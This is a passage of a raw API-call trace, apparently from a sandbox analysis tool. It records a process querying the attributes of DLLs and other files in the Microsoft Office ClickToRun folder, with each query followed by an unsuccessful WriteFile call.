	[0241.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0)) returned 1
	[0241.533] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0)) returned 1
	[0241.540] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60)) returned 1
	[0241.541] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0)) returned 1
	[0241.542] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0)) returned 1
	[0241.542] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0)) returned 1
	[0241.547] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0)) returned 1
	[0241.548] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0)) returned 1
	[0241.548] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0)) returned 1
	[0241.549] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0)) returned 1
	[0241.552] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0)) returned 1
	[0241.553] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0)) returned 1
	[0241.553] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0)) returned 1
	[0241.553] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0)) returned 1
	[0241.564] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0)) returned 1
	[0241.564] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0)) returned 1
	[0241.565] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0)) returned 1
	[0241.565] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0)) returned 1
	[0241.565] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8)) returned 1
	[0241.567] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8)) returned 1
	[0241.567] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66)) returned 1
	[0241.568] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66)) returned 1
	[0241.568] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60)) returned 1
	[0241.568] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60)) returned 1
	[0241.568] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0)) returned 1
	[0241.569] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060)) returned 1
	[0241.569] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60)) returned 1
	[0241.569] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8)) returned 1
	[0241.570] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0)) returned 1
